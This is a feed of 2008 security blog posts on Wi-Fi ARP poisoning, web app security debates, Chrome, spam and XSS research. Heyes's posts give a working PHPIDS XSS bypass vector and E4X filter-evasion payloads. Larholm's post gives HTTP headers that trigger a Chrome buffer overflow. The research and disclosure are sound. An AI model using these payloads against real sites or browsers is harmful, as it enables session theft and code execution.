- Give out as little information as you need to, just because they ask for your phone number on the form, doesn't mean you need to give it. Apply your intelligence to when this is appropriate, you will always need to give some people some information. Yusuf, for example has lots of fun signing into 'front-fence security' with ridiculous names that should trigger any half conscious security guards spidey sense, such as "Osama bin Laden" (he has yet to be called on it).
- You can easily pulp lots of bills by putting them in a bucket or sink with hot water and a solvent (ammonia-based cleaners work well). It is much easier than ripping up each bill into tiny bits.
- My new favourite temporary e-mail service is Guerilla Mail, especially since TemporaryInbox and Mailinator rarely have mail successfully delivered to them (likely blocked thanks to spammers). Also, keep your eyes on stuff like Jangl for a telephonic equivalent. US users can use inumbr now.
- AdBlock Plus has always been a great way to block adverts which usually try and invade your privacy in new and exciting ways, including delivering malware. However, I've recently discovered the element hiding helper extension to AdBlock, which makes quickly nuking ads placed in-line (e.g. FaceBook's ad sidebar) quick, easy and permanent.
- NoScript is pretty much standard for members of the security community, but I particularly love that I can block third party JavaScript (e.g. Google Analytics) and it's interrogations, and one click can enable it if necessary and temporarily if so wished.
- Cookie blockers are also useful. I prefer CookieSafe which operates much the same as NoScript.
- Read your e-mail in plaintext, tracking <img>'s are regularly used. It will also stop you from writing irritating and/or poorly structured mail.

Michael Howard's Web Log

GOOG Chrome's use of NX/DEP

Posted: September 15th, 2008, 9:18am CDT by michael_HOWARD

Tags: Security [edit]

Scott Hanselman has a look under Chrome's hood and how it uses the new NX/DEP APIs we added to Windows.

Scroll about halfway down the article.
Kim Cameron on GOOGs single sign on design vulnerability

Posted: September 15th, 2008, 8:25am CDT by michael_HOWARD

Tags: Security [edit]

I spoke with Kim Cameron a few days ago about Google's single sign-on (SSO) design bug. I wanted his take on the bug because he's one of the best in the area of identity, single sign-on etc etc... his response can only be described as scathing.

Billy (BK) Rios

Hostile Hotel Networks?!?!

Posted: September 15th, 2008, 4:02am CDT by xssniper

Tags: Network Security [edit]

Dark Reading recently had an interesting article related to the security of Hotel networks; you can find the article I’m talking about here.

As I read the article… I couldn’t help but smile… the article made it seem like Hotels have horribly insecure networks! The truth is, THEY DO…along with airports, coffee shops, bookstores and pretty much ANY PLACE that offers up connectivity!

Some people fail to understand that when you join ANY network, you’re trusting that everyone on the network is playing nicely. Many of the protocols that enable our network connectivity WERE NOT DESIGNED TO SECURELY SUPPORT THE SCENARIOS WE DEMAND TODAY. Take for example, Address Resolution Protocol (ARP). ARP is the one protocol that really makes me paranoid. The details of how ARP works and how it can be used to do evil is way beyond the scope of this post, but you find some good information here, here, and here.

The ARP abuses I’m most interested in are ARP Poisoning attacks. These attacks basically allow me to Man-in-the-Middle (MITM) network connections, typically from a victim’s machine to their gateway. Now ARP poisoning attacks have one MAJOR drawback (from an attacker standpoint), they typically require the victim to be on the same network as the attacker (in layman’s terms). Ask yourself this question…. why would I ever join an un-trusted network and possibly subject myself to such attacks?

Surprisingly, people join un-trusted networks all time. If you’ve ever associated to a wireless access point at a coffee shop, hotel, bookstore, or an airport…. you’ve joined an un-trusted network… IT’S THAT SIMPLE. Just because the SSID and the welcome page has a familiar name/logo that you trust, THAT DOESNT MEAN THAT YOU CAN TRUST EVERYONE ELSE CONNECTED TO THAT NETWORK, and if you can’t trust everyone connected to the network, then you’ve got yourself an un-trusted network. Now, MITM on “secure” connections (SSL aka HTTPS) usually causes a warning to appear (every major browser has this protection mechanism in place), and while I haven’t seen any studies on click through rate, I would guess that it’s pretty high.

Airports are a PRIME target for MITM, as they are typically filled with people using the available wireless access points to do business. Many of these people are not technically savvy and more importantly, THEY ARE IN A HURRY, which brings them to push past warning message after warning message in order to “get this out before my plane leaves!” If someone wanted to harvest a TON of sensitive information (creds to banking accounts, usernames, passwords, emails… everything you can possibly imagine), all they would have to do is connect to the airport wireless network, ARP poison every host they see… and let the creds roll in. It’s that simple… trust me… I’ve seen it firsthand… I can guarantee that you’ll have someone’s creds within 5 minutes…

Security pros will argue, “you can use a VPN” and they are right. If you are a corporate user, you shouldn’t even THINK about sending anything through an external, un-trusted network unless it’s through the VPN… but what about the home user? What about mom and pop, traveling on vacation… where is their VPN? Judging from the success of these attacks, even if a stern warning is presented, many users just ignore the warnings and continue on their merry way. Scores of software will silently ignore certificate warnings, happily passing information onto a suspect host. Besides, those warnings are only displayed when encryption is in play, so that unsuspecting user that is browsing their webmail over HTTP gets their session stolen without warning. It’s truly amazing how noisy our computers have become, spitting out all sorts of info… trusting that everyone else on the network is playing nicely.

Let’s say you understand the risks of MITM and you have to email something out before your plane leaves. You attempt to connect to your VPN server and you see a certificate warning. You suspect that someone may have an MITM against you using ARP Poisoning… what can you do to protect yourself and still get the email out?

Michael Howard's Web Log

Katie Moussouris joins the SDL team

Posted: September 12th, 2008, 3:06pm CDT by michael_HOWARD

Tags: Security [edit]

Dave Ladd just posted a note about Katie joing the ever-growing SDL team. For you twitter freaks out there she's @k8em0 :)

Welcome, Katie...

tssci security

Web Application Security Tomorrow

Posted: September 11th, 2008, 6:39pm CDT by dre

Tags: Security [edit]
Jeremiah Grossman wrote in the opinion section for Application security in CSO Online magazine about Web Application Security Today — Are We All Insane?

I have an opinion of my own which I would like to share with my readers. Jeremiah spreads FUD — Fear, Uncertainty, and Doubt (mostly fear) in his message. I wanted to walk through some parts of what he wrote that were especially messages of fear, particularly ones that are over-blown.

Seventeen million programmers are churning out an estimated 102 billion new lines of code per year. […] Web application exposure has reached the crisis stage because criminals have taken notice and made Web applications their primary target. There’s an old proverb that explains how to determine whether or not someone is sane. An individual is shown a river flowing into a pond. He is given a bucket and asked to drain the pond. If he walks to the stream to dam the inflow into the pond he will be considered sane. If he decides to empty the pond with his bucket without first stopping the inflow then he would be considered insane. This is analogous to today’s approach to software security, and specifically Web application security.

Many of us (including myself) know exactly where Jeremiah is going with this. However, my addition is that the purity of the water in his example is what is important — not the flood of code. We shouldn’t slow down the production of code, or put an end to it.

The techniques used by the modern cyber-criminal are truly scary. They’re backed by mafia, supported by nation states, and often even carried out by, or in conjunction with, rogue insiders. We are dealing with polymorphic malware, 100,000-computer strong botnets, drive-by-downloads, rootkits with anti-forensic capabilities conducted by adversaries who fear no U.S. law. The bad guys make certain their newest tricks are packed, encrypted, and undetectable by the most popular security products.

While some of this FUD is certainly true to a point, we don’t have any specific measurements on the reality of our situation. What Jeremiah purports as fact is merely theory, speculation, and potentially myth.

Think the payment card industry’s new regulations or the breach disclosure laws are going to save us? Neither do I, but they certainly do make a good excuse to get more budget dollars.

I’ve been having a lot of interesting conversations about compliance with my colleagues lately. It’s been indicated to me that PCI-DSS is not the only compliance standard or regualation that has a framework to enforce application security or application penetration-testing. Stranger, the “cost of a breach” isn’t the only cost of insecurity.

Marcin and I were discussing an article on Sound compliance polices, practices reduce legal costs. I had other discussions about cyber-insurance in the Security Catalyst community regarding a presentation at the recent Defcon conference from Taylor Banks and Carric on [PDF] The pentest is dead, long live the pentest! At the end of their presentation, Taylor and Carric provide a long list of cyber-insurance providers — extremely useful for anyone unaware of such a thing or looking to buy. In David Rice’s book, Geekonomics, David makes mention of AIG’s cyber-insurance offerings and how the ISAlliance and AIG provide discounts to ISAlliance members who implement security-framework controls. In other words, doing compliance “right” not only buys protection from the regulators, but it also demonstrates cost-improvements for legal and insurance activity.

Another conversation with colleague Adam Muntner discussed how “compliance readiness” is both more profitable and more enjoyable than compliance work itself. Many organziations realize that the time and effort it takes to pass any given set of criteria for an audit standard, so they prepare themselves ahead of time using experts in application risk, network penetration-testing, and application penetration-testing. What most organizations are looking for is custom-tailored advice in the form of strategy consulting, not just another fancy report that they can give to the auditors.

Compliance and breach disclose laws could possibly be the primary motivators towards spending on application security, but there is certainly more at work here. If compliance is driving application security, then what is driving compliance?

Want to rent a 10,000-computer botnet for the day? No problem. Unreported vulnerabilities (zero-days) are being researched, bought, and sold on the black market for tens or even hundreds of thousands of dollars. At the same time, when software patches are released, attackers are immediately (it is rumored, automatically) reverse-engineering them to find the flaw. Exploit code is then sent back into the wild before patches can be widely deployed by legitimate users. Large-scale patch rollouts taking only a few days seems like a great advancement until compared against exploit code ready to go in hours.

Here’s where Jeremiah’s FUD really kicks in. I don’t know where his sources are, but the factual nature of this information should definitely come into question. I have heard of one or two exploits that have been sold for US 30,000 dollars. However, this is not the norm. The rumors of automatic reverse-engineering of patches into exploits has been disproved, so why make mention of it? Even the Asprox botnet that coordinated the SQL injection attacks is over one year old — and I’m certain that a large majority of Enterprises are patched. The clear target of the malware behind the SQL injection attacks is consumers, particularly those whose Windows XP operating system has some sort of automatic update deficiency or mis-configuration.

In response to the inadequacies of first-generation Web application security measures, an entire industry has emerged beating the drum for software in the Software Development Lifecycle (SDL) and touting secure software as the cure to all our woes.

Actually, application security principles have been around for a lot longer! I think that security in the SDLC has definitely been talked about before the invention of the web. The only concepts that I’ve seen emerge from the “inadequacies of first-generation Web application security measures” that have been “beating their drums” and touting their solutions as the cure to all our woes are:
- Black-box web application security scanners (WASS)
- Web application firewalls (WAF)
Secure code review has been a concept that I’ve been aware of since OpenBSD opened their doors. Improving software development processes for both quality and security go back in the literature to the 1970’s. Unit testing, and security unit testing, are relatively new concepts — but certainly not as new as WASS or WAF!

Secure code review is a competitive sport that is different than the sales/marketing approach of security product vendors. When Theo de Raadt, a renown (some would say notorious) NetBSD core member who had an appetite for application security branched OpenBSD from NetBSD — he didn’t have it directly in mind that he and his team would scour their source code looking for security-related bugs. However, the NetBSD team provided some extra competitive eyes on the OpenBSD commits — looking especially hard on security-related bugs to embarrass Theo and crew. From this back-and-forth competitive challenge — the application security industry was really born.

Certainly, some will claim that fuzz testing was invented earlier. However, before OpenBSD — security-related bugs were found mostly by accident (while looking for something else). If they were found on purpose, like in the case of the Morris Internet worm, it was a personal matter — potentially shared by a group, but not taken on by a group, rarely even in academia.

One could claim that WASS has its roots in fuzz testing, while WAF has its roots in packet filtering or the classic network firewall. Unlike those two: security unit testing, secure code review, and white-box dynamic analysis have really not changed much over time. When I use Javascript breakpoints in FireBug, it is strikingly similar to using gdb.

In today’s world, there is an unimaginable amount of insecure code, and therefore websites, already in circulation. Just taking up the battle cry of “secure software” alone does not solve this problem. As Web 2.0 applications continue to proliferate (blogs, social networks, video sharing, mash-up websites, etc.) the problem will expand in parallel, but we also must consider the existing large financial institutions, credit unions, healthcare operators, ecommerce retailers that run mission-critical business applications online. Even our 2008 U.S. presidential candidates are having trouble securing their campaign websites against amateur attackers.

It’s interesting how Jeremiah views “secure software” as a battle cry. For many security-focused developers, this isn’t a war — it’s just a way of coding properly. Maybe he pictures that the war is “secure software vs. WASS+WAF”, which from his wallet’s perspective — might be right. I am having some issues separating application penetration-testing and general application security, but I don’t see it anywhere near as bad as the case that Jeremiah has got.

The one thing about the above paragraph that is potentially very sad is that he calls XSS bugfinders “attackers” — “amateur attackers” at that. There were no real attacks against the presidential candidates’ websites — there were just some vulnerability findings. No exploits were written or used. Jeremiah really has a way of twisting words around — maybe he should be working for one of the presidential candidates!

Application security vs. Application penetration-testing

Some of us choose to focus our efforts on penetration-testing — finding bugs in the code that can be used as an exploit. Others focus just on building the code with security in mind — to enhance security. This is an important distinction.

In a recent presentation entitled [PDF] Code Scanning: Success and Failure in the Field, Alex Stamos discussed some differences between false-positives and non-exploitables. Sure, black-box web application scanners, including SaaS vendors such as WhiteHatSec indeed find exploitable conditions. This comes at a serious cost.

Problems with black-box web application security scanners, including and especially WhiteHatSec:
1. The penetration-test runs unencrypted over the Internet, exposing not only a MITM condition, but various types of proxy and logging problems
2. Anyone in this path — present or future — may gain (potentially illegal) access to these exploits, pre-built for them, so that almost no knowledge or expertise is required on their part to run them
3. Changing an exploit so that it bypasses WASS+WAF is often trivial
4. Use of an encrypted VPN or testing on the local LAN does not settle this problem, it only protects some of the path involved
I think Jeremiah said it best himself:

The techniques used by the modern cyber-criminal are truly scary. They’re backed by mafia, supported by nation states, and often even carried out by, or in conjunction with, rogue insiders.

What I propose is that it is safer and easier to avoid the exploitability arguments. Who cares if something is exploitable or not? A better question is: how obviously secure is the code?

Advantages of security unit testing, secure code review, and white-box dynamic analysis:
1. No exploits means that no rogue insiders can steal them and give them to adversaries
2. Source code is full-knowledge. There is nothing “black-box” about it, so every software weakness and vulnerability can theoretically be found
3. These practices encourage finding security-related bugs “accidentally”, which includes new classes of vulnerabilities (often referred to as software weakness research)
Certainly, I have some ideas and products in mind when I think of true application security tools: security unit test frameworks (which don’t exist), security code review tools, and white-box dynamic analysis, or hybrid/composite analysis. However, the primary focus should be on the expertise needed to perform application security tasks, the process in place to allow individuals and teams to rise to the occasion, and guidance/governance from organizational figureheads and leaders.

It is unreasonable to expect publishers, enterprises and other site owners to restart and reprogram every website securely from scratch. Nor can we fix the hundreds of thousands (maybe millions) of custom Web application vulnerabilities one line at time.

Jeremiah thinks that developers work with source code one line at a time. They don’t. Modern developers utilize techniques such as metaprogramming, code generation, templating, and model-driven architecture. They’re programmers, why wouldn’t they write programs to help them develop other applications?!

Some web applications are so legacy, that they require re-writing from scratch — however we don’t have numbers or statistics on this amount. Also note that if Jeremiah is going to only include SSL web applications as important — than he should also include them in these numbers as well.

Developers have been using unit testing frameworks, IDE features, and processes such as iterative programming, Extreme programming, and Agile to help them refactor their applications for quite some time now. Refactoring does not require re-writing from scratch. With refactoring, developers can restructure the design of their applications by tweaking small parts of the code. Dependency injection, Aspect-oriented programming, and Attribute-oriented programming make this faster — as do general development concepts such as Design-by-contract, Test-driven development, Reflective programming, and many others. Some of these practices don’t even require use of an object-oriented language — let alone an Enteprise web application programming language such as Java Enterprise or ASP.NET.

There are numerous books on refactoring the Web, databases, and specific programming languages. Some languages have used metaprogramming to build refactoring, unit testing, TDD, and many other quality/security-control concepts into the entire framework — such as Rails for Ruby.

Our pond is actually an ocean of code in need of security defect purification and the dams in the rivers feeding it have holes requiring patches. In many ways, the state of Web application security is where we started a decade or so ago in network security when no one really patched or even had the means to do so.

I dislike how Jeremiah fails to bring this analogy back around in order to prove any point. If WASS+WAF is supposed to signify blocking the inflow of water, this neither cleans up the already dirty pond, nor does it prevent the acidic/polluted water from immediately disintegrating the wooden plug that is supposed to stop the inflow.

This approach lets us mitigate the problem now giving us breathing room to fix the code when time and budget allow. Of course there is still the option of waiting the next 10 years for the Web to be rebuilt.

If classic firewalls and virtual-patching didn’t work the first time around — what makes people think they’re going to work now?

The web does not require 10 years to be rebuilt — especially not the SSL web. It requires smart developers with metaprogramming, refactoring, and high-efficiency skills that can be focused towards security. Do not hire cowboy coders. Hire developers that can utilize and spread TDD, Design-by-contract, metaprogramming, and code generation concepts and tools throughout your organization. Hire application security experts that can work with these super-developers. Train and promote modern, secure development practices to every developer-newbie, veteran developer — and every network, application, or information security professional.

The Spanner

XSS is art

Posted: September 11th, 2008, 4:37pm CDT by Gareth Heyes

Tags: Security [edit]
I had a bet with a friend of mine David Lindsey aka Thornmaker. Basically we said the first one to get a XSS vector on phpids buys a beer at Bluehat I haven’t had much time to do this because I’ve been pretty busy but over the last few days in my spare time I’ve been slowly constructing a vector. David you owe me a beer

What is interesting about phpids is that it includes a centrifuge detection system which compares past vectors and known good inputs which enables them to detect future attacks that slip past their regular expressions. The system has greatly improved since the early days and I actually had a ton of XSS vectors which got past their expressions but not centrifuge.

So in my crazy world of XSS how can you bypass a protection like this? Well in Firefox there’s a E4X statement which I posted previously that doesn’t look like javascript syntax. e.g. :-
```
default xml namespace = statement
```
Using this method I managed to construct my vector which used this to bypass centrifuge but I had a problem, how to first get a payload and how to call that payload. Why is that a problem? Because phpids checks common injections like eval, alert etc.

I decided to try various different tricks using “this” which refers to the current window in javascript when executing from a script tag in Firefox. The methods I used worked well but the centrifuge detection was triggered when using “+” to concatenate strings.

Simple calls to ‘abc’.concat(’def’) were blocked quite easily so I needed another method. Using a && trick to bypass some of their regular expressions it was possible to call a global function by assigning it to a variable:-
```
default xml namespace=toolbar,b=1&&this.atob
```
So the default xml namespace bypasses centrifuge and the variable b is assigned to the atob function in Firefox. This is because in javascript the right side of the statement is returned not 1 when using && in this context. I could get the string eval by converting base64 and convert the string to a function using the techniques described.

All I needed now was the payload and that was obtained using the 1&& method but this time using window.name:-
```
default xml namespace=toolbar,y=1&&name
```
I had all the raw ingredients now to finish my vector which produced the final vector that looks like a work of art to me
```
default xml namespace=toolbar,b=1&&this.atob
default xml namespace=toolbar,e2=b('ZXZhbA')
default xml namespace=toolbar,e=this[toolbar,e2]
default xml namespace=toolbar,y=1&&name
default xml namespace=toolbar
default xml namespace=e(y)
```

Disenchant's Blog

Nice new SPAM Trick

Posted: September 11th, 2008, 4:57am CDT by Disenchant

Tags: Security [edit]

This morning I’ve received the following spam mail:

Hi,

I am basically interested for business reasons. I had written to you about
the offer a few days back. Perhaps you never got the mail in the first
place. Anyhow, here is the deal. I found your site
http://www.disenchant.ch/ really enchanting and would like to buy a
number of text-links on your site.

Let me know if you would like to hear more of this.

Best regards,

Susan.

OK, the idea seems to be not that bad. You have a normal crawler for e-mail addresses and if you found one, change the message of your mail by mentioning the domain name. I think many people will notice this and think that it can’t be a spam mail because there’s a specific part in in which is not correct for most people. Also the name of the sender at the end of the mail is interesting because it’s Susan and the sender’s e-mail address was susan.[a last name]@gmail.com. This means, that also this seems to be correct and I think that many people will answer to this mail.

PS: Of course it’s also possible that it’s not a spam but then the company behind it will become bankrupt very soon

CGISecurity.com: Your Web Site and Application Security Resource

Microsoft IE8 and Google Chrome - Processes are the New Threads

Posted: September 10th, 2008, 7:20pm CDT by Robert

Tags: Security Tools [edit]

"I happened to install Google Chrome (Alpha) the same day I installed Internet Explorer 8 (Beta). I noticed immediately, as I'm sure many of you have, that both browsers isolate tabs in different processes. Unix folks have known about the flexibility of forking a process forever. In Unix, fork() is just...
Samurai Web Testing Framework

Posted: September 10th, 2008, 7:16pm CDT by Robert

Tags: Security Tools [edit]

" As live CD's have become more popular, specialized distributions have begun to emerge. One such specialty live CD is Samurai, a distribution squarely focused on web application penetration and vulnerability testing. Samurai is dubbed a "web testing framework" in much the same way that Metasploit is termed a framework. Samurai...

Dominic White's .tHE pRODUCT

CISSP Networks & Telecomms Domain Presentation

Posted: September 10th, 2008, 5:50am CDT

Tags: Security [edit]

Here's a set of training slides I put together for the CISSP networks & telecomms (domain 7) component. I'm using these to present to the InfoSec Group of Africa CISSP study group. I'm not a CISSP, but I know networks. While half the content is mine, the other half is stolen from many many places. It was all done in a hurry too. If you can improve them and promise to send changes back, I'll send you the source.

Larholm.com

Long time no see, hello Chrome

Posted: September 9th, 2008, 2:17pm CDT by Thor Larholm

Tags: Security [edit]

Well it’s been a long time since I last wrote any entries here. What, almost a year.. time flies by when you’re having fun especially when you’re working a lot.

Just wanted to give a quick heads-up that I will start posting again. And what better way to celebrate that than by expanding on that buffer overflow which SVRT-Bkis found this friday.

The overflow is triggered by an overly long TITLE tag, which is later used by SaveFileAsWithFilter as a suggested file name.

The actual overflow is triggered in file_util_win.cc, here’s a snippet:

std::wstring GetDirectoryFromPath(const std::wstring& path) {

wchar_t path_buffer[MAX_PATH];

wchar_t* file_ptr = NULL;

if (GetFullPathName(path.c_str(), MAX_PATH, path_buffer, &file_ptr) == 0)

The current Proof-of-Concept exploit requires social engineering and manual interaction from the user in order to be triggered.

However, the GetDirectoryFromPath function is also being used elsewhere, and one of those places is in download_manager.cc, here’s a snippet:

void DownloadManager::CheckIfSuggestedPathExists(DownloadCreateInfo* info) {
DCHECK(info);

// Check writability of the suggested path. If we can’t write to it, default
// to the user’s “My Documents” directory. We’ll prompt them in this case.
std::wstring path = file_util::GetDirectoryFromPath(info->suggested_path);

This code is automatically called whenever Chrome initiates a file download. The suggested_path in the DownloadCreateInfo struct can be based on different inputs, such as the URL itself. It can also be based on more specific information which will take precedence, such as the one we can specify in a Content-Disposition HTTP header. Therefor, we can automatically trigger the buffer overflow with the following HTTP headers:

Content-Type: application/x-zip-compressed
Content-Disposition: attachment; filename=”$overflowingstringiscontainedwithinthesequotes$”

With that I will go back to enjoying my Laphroaig

UPDATE:

I reported this to the Chromium project as Issue 1980.
They have confirmed that this is now fixed in Google Chrome 0.2.149.29.

Billy (BK) Rios

Simple Lesson on Secure Cookies

Posted: September 9th, 2008, 4:05am CDT by xssniper

Tags: Security [edit]

I recently read a paper written by Sandro Gauci from Enable Security entitled “Surf Jacking – HTTPS will not save you”. You can find the paper here.

It’s an interesting read and extremely relevant to today’s web applications. The heart of the paper describes some simple tricks to force a session cookie to be sent over a non encrypted channel. These tricks are possible if the secure flag isn’t set for the session cookie. These types of attacks have been discussed before. Side Jacking is probably the most well known (and most widely used) attack against leaked cookies.

<RANT> It bugs me that we’re still dealing with issues like this. Despite having a simple and effective means to ensure that session cookies are only sent over secure channels, application owners choose to ignore the secure (and HTTPONLY) flag when developing their applications. Later, as the application matures, developers find that their application has taken a significant dependency on this insecure behavior and what was once a simple fix now becomes a huge design change (which equals $$$). The true victim’s to these poor security decisions are the users who are left scratching their heads when their accounts get pwnd while using the WiFi at Joes Coffee shop. </RANT>

I believe the secure flag is symbolic of the current state of web application security… the countermeasures to the issues we are facing are known, simple, and effective… yet we continue to struggle on wide scale implementation because we’ve taken dependencies on insecure behavior. SSL certs are another great example of this. Every major browser has a way to bypass the security provided by SSL certs. Browsers MUST offer this bypass because if they didn’t, it would break the web… but i digress.

There is a bright spot when it comes to the protecting cookies. Cookies are stored and protected by the browser (as any decent web app hacker should know!). So, when an application server issues a “SET-COOKIE” header, it’s merely a recommendation as to how the browser should use the cookie. Each cookie is maintained by the browser and all the flags (secure, path, domain, httponly, expires…etc) associated with cookies are enforced ENTIRELY by the browser. So, if an application server sets a cookie WITHOUT the secure flag, I can tell my browser to disregard the servers recommendation and add the secure flag which ensures that the cookie will only be sent over secure channels. This is really simple stuff, so seasoned web app hackers can stop here. Everyone else can continue reading.

I’ve set up a page on here that simply sets a cookie in the following manner:

Set-Cookie: XSSniper=BKRios; expires=CURRENTDATE

Examining the Cookie in FireFox shows the following:

As you can see, we have a cookie named XSSNIPER and the SECURE flag was NOT set by the server. In fact, my server will NEVER set the secure flag for the XSSNIPER cookie. Now if I want to force my browser to enforce the secure flag for the XSSNIPER cookie, I can do so by entering the following Javascript into address bar.

javascript:var cookies=unescape(document.cookie);var split=cookies.split(";");for (i = 0; i <split.length;i++){document.cookie=split[i]+";expires=Thu,1-Jan-1970 00:00:00 GMT;";document.cookie=split[i]+";secure;"}document.location="http://xs-sniper.com/blog";

The Javascript above expires all of the current cookies (only on the client side, if you had a session established with the server it would still be maintained) and sets every cookie for the current domain to secure. I realize the Javascript is pretty ghetto, this should ideally be handled by application, but we could also use a browser plugin with a nice UI and fine grained control over each cookie attribute… Hmmmm a tool to prevent Surf/Side Jacking attacks… I wonder what I would call it… Any ideas Nate?

After we run the Javascript, we can take another look at the Cookie info presented by Firefox:

As you can see, the cookie will only be sent over encrypted connections and the cookie now expires at the end of the session (no more persistence). We’ve turned the XSSNIPER cookie into a SECURE cookie, despite the fact that the server never specified this behavior.

Now, this approach does have it cons… Servers typically recommend a particular cookie setting because the application was designed to work/anticipate/depend on those characteristics. This will probably break some application functionality, but broken functionality will show you exactly where your cookie would have been leaked

The Spanner

0800 scam

Posted: September 8th, 2008, 2:54pm CDT by Gareth Heyes

Tags: Security [edit]

I got a phone call today from a 0800 number. What was strange was they hung up when I answered, being the paranoid that I am I suspected it was a scam. Sure enough a quick search of Google found the number and describes that it redirects to a 0845 number. A description of scam can be found here

The company involved is called “LBM 0800 scammers” which looks like IBM when in the URL (probably intended). I can’t believe that some businesses have a business model that involves tactics like this.

My advice is to never call back a number unless you check and verify that it is a number you recognise.
E4X for hackers

Posted: September 7th, 2008, 3:19pm CDT by Gareth Heyes

Tags: Security [edit]
If you’ve not been following my sla.ckers thread on unusual javascript then your missing out. My idea was to gather interesting, weird and wonderful javascript tricks which are useful for filter evasion and coding. I investigated E4X quite a lot for this purpose and found a few cool things that I’ll share with you.
Using {} for keyword evasion
Lets say a filter disallows certain words, because the {} allows you to execute a javascript block; if you execute a block that returns a blank string then you can use it for keyword evasion. The new array constructor creates a blank array but when used in concatenation it results in a blank string.
```
location=<text>javascr{new Array}ipt:aler{new Array}t(1)</text>
```
Another example:-
```
location=<text>javascr{[]}ipt:aler{[]}t(1)</text>
```
A few more:-
```
<>{new String}</>;
<>{''}</>;
<>{new RegExp()[-1]}</>;
<>{<></>}</>;
```
Weird syntax fun
E4X also has some javascript syntax quirks that normally would cause a parsing error but it’s perfectly valid.
```
default xml namespace = alert(1)
```
Some more weird looking stuff:-
```
<>{eval(/alert(1)/[-1])}</>..@*::xyz
```
```
 (!1..@*::abc?alert:1..@*::xyz)(1)
```
Numbers as E4X
For some reason numbers can be used as XML
```
1..@Numbers/(are=1)%1..*::xml
```
Encoding with entities
Giorgio brought this to my attention when he was hacking my unsuccessful Firefox sandbox experiment. You can use html entities and they will be decoded when using the XML data as strings.
```
alert(<>&quot;</>)
```
A more interesting example with decimal entities:-
```
eval(<>&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;</>+[])
```
Hackvertor supports morphs which allow you to generate this sort of data automatically, useful for fuzzing XSS filters:-
E4X morph
Form creation
Making forms with E4X is lovely, check it out:-
```
f=<form/>;
f.@id='x';
f.@action='url.php';
f.@method='post';
f.input.@name='h'
f.input.@value=1;
document.body.innerHTML=f;
document.getElementById('x').submit();
```

Billy (BK) Rios

IE8b2 XSS Filter

Posted: September 4th, 2008, 1:05am CDT by xssniper

Tags: Web Application Security [edit]

I run a number of different browsers, for various reasons. I was once even called a “browserholic” by a colleague! I pulled down IE8b2 when it went live a week ago. I don’t want to talk about the myriad of security features or browsing features as I think they’ve been covered in detail by many different sources, but I do want to mention one security feature… XSS Filter

XSS Filter was created by David Ross… he’s one of the smartest guys I’ve ever met. In addition to being super smart, there is a certain boldness needed to take the lead in developing Internet Explorer’s built-in defense for the bane of the web. David asked a number of security pros around the world to take a look at XSS Filter and I’m honored to have been asked to help. You can see some of the names of those who participated in XSS-Filter’s creation here.

Thanks David and CONGRATS on the release!

Some technical details with regards to XSS-Filter can be found here.

Dominic White's .tHE pRODUCT

My Thoughts on Google's Chrome

Posted: September 3rd, 2008, 3:14pm CDT

Tags: Security [edit]

First, let me preface this by saying I don't trust Google at all. Their entire business model is based on violating my privacy and for a security & privacy person who wears more tinfoil than most, this irks me. Google irks me to the extent that I have a separate Firefox profile just for the odd Google thing I may do, and I use Scroogle to deliberately anonymise my searches with the big eye. Why the rest of the world gets up in arms about warrantless wire-tapping by AT&T, and not explicit tapping on an arguably more important/sensitive medium confuses me. Imagine if your telco said they would give you a free phone line, but in exchange they would monitor all your calls and periodically have a telemarketer phone with offers you may be interested in? Beyond the irritation, the privacy outrage may even get the EFF's attention.
So, last night I downloaded and ran Chrome. It provided me with a browser, it loaded stuff, yay. It didn't do anything I can't already do, and it didn't do anything better. Sure it was a bit snappier, but if I ran the Mozilla Gecko engine embedded in a Gtk widget I would get a pretty snappy browser too. Comparing Chrome to a fully featured browser isn't an apples-and-apples comparison.

So why is everyone so excited about it? One geek friend, Tham, is over the moon with it, and exuberantly exclaimed his love for it earlier today. I'm not sure why, I think it may be the hype combined with the fact that Google is good at this web stuff and people have high expectations.

Next I had a look at some of the settings to see what sort of privacy invasion was going on. The two things I noticed were that it provided no way to auth specific cookies, something even lynx manages and which is certainly indicative of Google dev thinking. Blocking all cookies isn't particularly practical either, and blocking third party cookies doesn't stop large service providers setting a life time cookie and correlating all your actions. It also provides the 'tell me if this is a bad site' option, which can be a bit invasive if each site kicks off a new request to Google, but so does Firefox and they aren't evil. Finally, it does leave a 'GoogleUpdate' service running full time and starting at each boot, which seems completely unnecessary. I really haven't done an in-depth look into these, but the principle of "don't let someone you distrust run resident software on your machine" kicks in here.

As for this 'separate process per tab' stuff, I'm not convinced this buys you much. It doesn't protect you against most of the web attacks like XSS, CSRF, browser-bugs, Flash bugs etc. It may provide some temporary protection against cache and history snooping attacks, but that's only until someone figures out how break into Chrome's management layer. It may provide some stability, but this isn't by default; there's already a PoC which purportedly crashes the whole browser. Finally, this may lead to performance problems with process overhead for each tab, but we'll have to wait and see when it's a real browser. It's okay though, it has new features and re-implementations of stuff, that will make sure none of the old vulnerabilities work, now there will just me lots of new ones. Let's hope their security response on Chrome doesn't provide content for another of RSnake's talks.

This is clearly Google's go at making the web a platform and controlling it. The press talks about the next browser war, they're wrong, this isn't a browser way, it's a platform war. Don't buy Office (or use LiveOffice) use Google Docs, don't buy Outlook and Exchange, use Gmail and the appliance (coming soon?). On many devices, the operating system is becoming less relevant. My Wii only became useful as more than a gaming console when it got Opera, and I now use it as a media centre via TVersity's flash interface. The LG phone's are essentially flash interfaces with a web browser for any heavy lifting. Android may very well turn into the shell which exposes Chrome.

This will be interesting to watch, and I'll periodically check in on the development. But until Google stops being evil, Firefox stops being awesome and an actual browser appears, I'm happy to leave it well alone.

Updated: spelling

CGISecurity.com: Your Web Site and Application Security Resource

Google releases Chrome Web browser

Posted: September 2nd, 2008, 3:16pm CDT by Robert

Tags: Security Tools [edit]

UPDATED: Yet another issue is discovered, this time a DOS. UPDATED: 3 hours later a vulnerability has been published. Google has just released an open sourced browser based on Apple's Webkit. I'm guessing it will be less than 48 hours before the first vulnerability is discovered. Since Safari uses Webkit it...

Dominic White's .tHE pRODUCT

Fyodor's NMAP Talk at BlackHat USA '08

Posted: August 27th, 2008, 1:43pm CDT

Tags: Security [edit]

Fyodor's talk was the first real talk I attended at Black Hat. TO be honest it was quite a thrill seeing "the creator of nmap". I did feel a bit dumb not knowing that Fyodor wasn't his real name, and thinking his family emigrated when he was young because had such a thick American accent.

Fyodor's been scanning the internet, the whole one. He is doing it with vanilla command line nmap to make sure any problems he runs into can be fixed and fed back into the tool. This has led to some awesome new features and functionality, not to mention some great stats such as which ports are most commonly open on the whole inter-tube.

